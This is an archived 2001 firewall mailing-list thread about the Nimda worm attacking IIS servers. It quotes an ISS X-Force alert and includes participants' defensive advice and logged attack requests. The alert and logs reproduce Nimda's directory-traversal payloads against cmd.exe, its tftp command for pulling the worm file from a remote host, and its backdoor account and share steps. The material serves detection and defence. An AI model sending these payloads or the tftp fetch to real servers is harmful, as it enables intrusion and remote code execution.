You're absolutely right, although in that case an FTP request to the
outside originated from an IIS will go in the same kind of logging (same rule
number) as with a user who installed "sponsored" freeware such as winzip that
tries to use FTP to get its latest publicity banners. I prefer to have
separate rules for all servers so I can put proper alarms on those rules.
I must admit that I also run snort, both on the outside, dmz and
inside. This gives me really a good insight of what happens.
>>> Dean Cunningham <
[email protected]>
25/09/01 07:21 >>>
For NT shops:
I have forced all that http
ftp traffic via a proxy (MS Proxy) that requires
authentication against the
NT domain. Based on the theory that any
compromise will use a local machine
account and therefore either a) not use
the proxy and try going out the
firewall or b) use the proxy and get dropped
cause it was not
authenticated
any thoughts
cheers
Dean
-----Original
Message-----
From: Patrick Coomans [
mailto:[email protected]]Sent:
Sunday, 23 September 2001 9:00 a.m.
To:
[email protected]Subject: RE: [FW1] New worm on
the road?
Dennis,
outgoing ftp, tftp, http, ... from an
internal server source is at least
*very* suspicious and probably caused by
some hacker who is trying to fetch
his/her tools etc. so I put proper
alerts on a specific rule for this kind
of traffic on my
fw1.
Patrick
>>> <
[email protected]>
20/09/01 17:52 >>>
Do you mind sharing what you did to
accomplish number 2 ?
-----Original Message-----
From:
[email protected][
mailto:[email protected]]On
Behalf Of Patrick
Coomans
Sent: Wednesday, September 19, 2001 1:04
AM
To:
[email protected]Cc:
[email protected]Subject: Re: [FW1] New worm on the
road?
Thanks for all the replies,
Some of the things I did to
secure IIS servers was:
1) continuously install all the latest patches
for IIS
2) put alerts on all suspicious outgoing traffic from IIS
servers
3) install a product on the IIS servers that performs auto-blocking
of the
source IP address when Nimda or Code Red I/II is detected
4)
download and install the URL Scan utility from
Microsoft
Patrick
>>> LEFEVRE David
<
[email protected]> 19/09/01 09:09 >>>
I've found this
on an other mailling list (Xforce)
Internet Security Systems Security
Alert
September 18, 2001
Aggressive Propagation of Nimda
Worm
Synopsis:
ISS X-Force has captured a new Internet worm, known
as Nimda, that
contains much of the functionality of Code Red worm and
its
derivatives. Nimda attempts to identify vulnerable Microsoft IIS
servers
and deface them, and attempts to infect additional systems. Nimda
is
potentially more dangerous than Code Red or Code Blue, because
it
includes a powerful e-mail distribution component. Code Red was
limited
to infecting Web servers running IIS. Nimda, on the other hand,
can
infect any Windows system, and then distribute further by
emailing
copies of itself to individuals in MAPI (Messaging
Application
Programming Interface) address books, or by identifying and
infecting
vulnerable IIS servers. This distinction means that there may
be
millions of infections. Indications of severe network outages
related
to the massive amount of network traffic this worm generates
have
already been reported.
Description:
Nimda is vastly
different from Code Red in how it propagates. Nimda
takes advantage of
standard e-mail distribution techniques to broaden
the eligible pool of
target hosts. Instead of only attacking Web servers
with Web server
vulnerabilities, Nimda is designed to propagate via
spoofed e-mail. The
e-mail is spoofed to appear as if it came from
trusted sources. Nimda relies
on extensive local propagation once a
system is infected. It replaces .dll,
.eml, .nws files on all shared
drives. It also appends itself to all .htm,
.html, and .asp files on
the infected system. This also allows the worm to
spread to remote
users when they access Web pages on infected
servers.
IIS Scanning and Propagation
Nimda will use several
Unicode Web Folder Traversal vulnerability attack
strings to probe for
vulnerable IIS systems. The attack strings used are
as
follows:
/scripts
/MSADC
/scripts/..%255c..
/_vti_bin/..%255c../..%255c../..%255c..
/_mem_bin/..%255c../..%255c../..%255c..
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c..
/scripts/..%c1%1c..
/scripts/..%c0%2f..
/scripts/..%c0%af..
/scripts/..%c1%9c..
/scripts/..%%35%63..
/scripts/..%%35c..
/scripts/..%25%35%63..
/scripts/..%252f..
/root.exe?/c+
(root.exe
is the backdoor that Code Red II installed on infected
servers)
Nimda
appends "/winnt/system32/cmd.exe?/c+dir" to the end of each attack
string
and inspects output to determine if the target system is
vulnerable. If a
vulnerable IIS Web server is found, Nimda will append
the following command
to an attack string to upload a copy of the worm
to the vulnerable
server:
tftp%%20-i%%20%s%%20GET%%20Admin.dll%%20
E-mail
Propagation
Nimda will read the e-mail address books on the infected
system. It will
e-mail a copy of itself to each address in the list. The
Subject: lines
of the e-mails containing the worm will vary.
Backdoor
Functionality
Once a computer is infected with Nimda, the worm takes
steps to
"backdoor" the infected system, by creating accounts that could
provide
further access to the system by remote attackers. Nimda will create
a
"guest" account if it doesn't already exist, or activate it if it
has
been disabled. It will also add the guest user to the "Guests"
and
"Administrators" groups.
Nimda will also open the "C:" share to
the Internet, giving full access
to the C: drive of the infected computer.
Attackers from anywhere on the
Internet may access this share with full
read/write access, once this
share is
opened.
Recommendations:
ISS RealSecure detects the Nimda worm
through the HTTP_IIS_URL_Decoding
signature. This signature was included in
Network Sensor X-Press Update
3.1 and Server Sensor 6.0.1. RealSecure Network
Sensor also detects the
Nimda worm with the HTTP_Windows_Executable
signature.
ISS BlackICE products will the trigger the "2000639 - HTTP
UTF8
backtick"
and "2002595 - IIS system32 command" events.
ISS
Internet Scanner customers can test for this vulnerability using
the
IisUnicodeTranslation check, which was included in XPU 4.4 (and
later
updated in XPU 4.8).
ISS System Scanner customers can test for
this vulnerability using the
MS00-078 check included in XPU 1.13
(#13).
ISS X-Force recommends that all users contact their anti-virus
vendor
for software updates and Nimda removal information.
Microsoft
IIS administrators who have not yet installed the patch for
the Web Server
Folder Traversal vulnerability are encouraged to do
so
immediately.
For Microsoft IIS 4.0:
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862<
http://www.microsoft.com/ntserver/nts/downloads/critical/q269862>
For Microsoft IIS 5.0:
http://www.microsoft.com/windows2000/downloads/critical/q269862<
http://www.microsoft.com/windows2000/downloads/critical/q269862>
The Nimda worm takes advantage of well-known security weaknesses in
IIS,
as well as a general lack of security awareness among Internet
users
regarding e-mail attachments. ISS recommends that all IIS
administrators
apply all security patches immediately and follow
published Microsoft
IIS Security Checklists. Please refer to the links in the
Additional
Information section.
Additional Information:
ISS
X-Force recommends that all Web site administrators review the
appropriate
IIS Security Checklist from Microsoft, and verify that their
IIS Web
servers have been configured securely. IIS servers that have
been configured
securely, using the Checklists, are not vulnerable to
many of the recent and
widely publicized remote IIS exploits.
The IIS Security Checklists are
available at the following locations:
For Microsoft IIS 4.0:
http://www.microsoft.com/technet/itsolutions/security/tools/iischk.asp<
http://www.microsoft.com/technet/itsolutions/security/tools/iischk.asp>
For Microsoft IIS 5.0:
http://www.microsoft.com/technet/security/iis5chk.asp<
http://www.microsoft.com/technet/security/iis5chk.asp>
Web site administrators are also strongly encouraged to apply the
latest
IIS cumulative security patch to prevent Web servers from
being
compromised by this and other IIS exploits. This patch is available
from
the following Microsoft Security Bulletin:
http://www.microsoft.com/technet/security/bulletin/MS01-044.asp<
http://www.microsoft.com/technet/security/bulletin/MS01-044.asp>
______
About Internet Security Systems (ISS)
Internet Security
Systems is a leading global provider of security
management solutions for the
Internet, protecting digital assets and
ensuring safe and uninterrupted
e-business. With its industry-leading
intrusion detection and vulnerability
assessment, remote managed
security services, and strategic consulting and
education offerings, ISS
is a trusted security provider to more than
8,000 customers worldwide
including 21 of the 25 largest U.S. commercial
banks and the top 10 U.S.
telecommunications companies. Founded in 1994,
ISS is headquartered in
Atlanta, GA, with additional offices throughout North
America and
international operations in Asia, Australia, Europe, Latin
America and
the Middle East. For more information, visit the Internet
Security
Systems web site at
www.iss.net
<
http://www.iss.net/> or call.
Copyright (c) 2001 Internet Security Systems,
Inc.
Permission is hereby granted for the redistribution of this
Alert
electronically. It is not to be edited in any way without
express
consent of the X-Force. If you wish to reprint the whole or any
part
of this Alert in any other medium excluding electronic medium,
please
e-mail
[email protected] for permission.
Disclaimer
The
information within this paper may change without notice. Use of
this
information constitutes acceptance for use in an AS IS condition.
There are
NO warranties with regard to this information. In no event
shall the author
be liable for any damages whatsoever arising out of or
in connection with the
use or spread of this information. Any use of
this information is at the
user's own risk.
X-Force PGP Key available at:
http://xforce.iss.net/sensitive.php<
http://xforce.iss.net/sensitive.php>
as well as on MIT's PGP key server and PGP.com's key server.
Please
send suggestions, updates, and comments to: X-Force
[email protected] of
Internet Security Systems, Inc.
Best regards,
David
Patrick
Coomans wrote:
> Since this evening I am experiencing massive
attacks on HTTP (IIS
> oriented I presume) from many different IP
addresses. They all look
> like: GET
>
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
>
HTTP/1.0
> GET /scripts/root.exe?/c+dir HTTP/1.0
> GET
/MSADC/root.exe?/c+dir HTTP/1.0
> GET /MSADC/root.exe?/c+dir
HTTP/1.0
> GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET
/d/winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET
/scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0
> GET
>
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
>
HTTP/1.0
> GET
>
/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
>
HTTP/1.0
> GET
>
/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir
>
HTTP/1.0
>
GET
>
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir
>
HTTP/1.0
>
GET
>
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir
>
HTTP/1.0
>
GET
>
/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/sy
stem32/cmd.exe?/c+dir
>
HTTP/1.0
> GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir
HTTP/1.0
> GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0
Is
> anyone aware that this is some new kind of worm?Now my FW1
question:
> can I create a HTTP resource (secure server) that blocks all
requests
> that e.g. have a .EXE in it ? Or would that slow my FW1's
down to
> much? Any other suggestions for good products that can do HTTP
content
> inspection and that cooperate or can co-exist with fw1
>
? Thanks,Patrick
--
David LEFEVRE
CARDIF - Architecture et
Sécurité Opérationnelle
[email protected] - Tél : 01 41 42 76
63
[email protected] - Tel : 01 41 42 24
22
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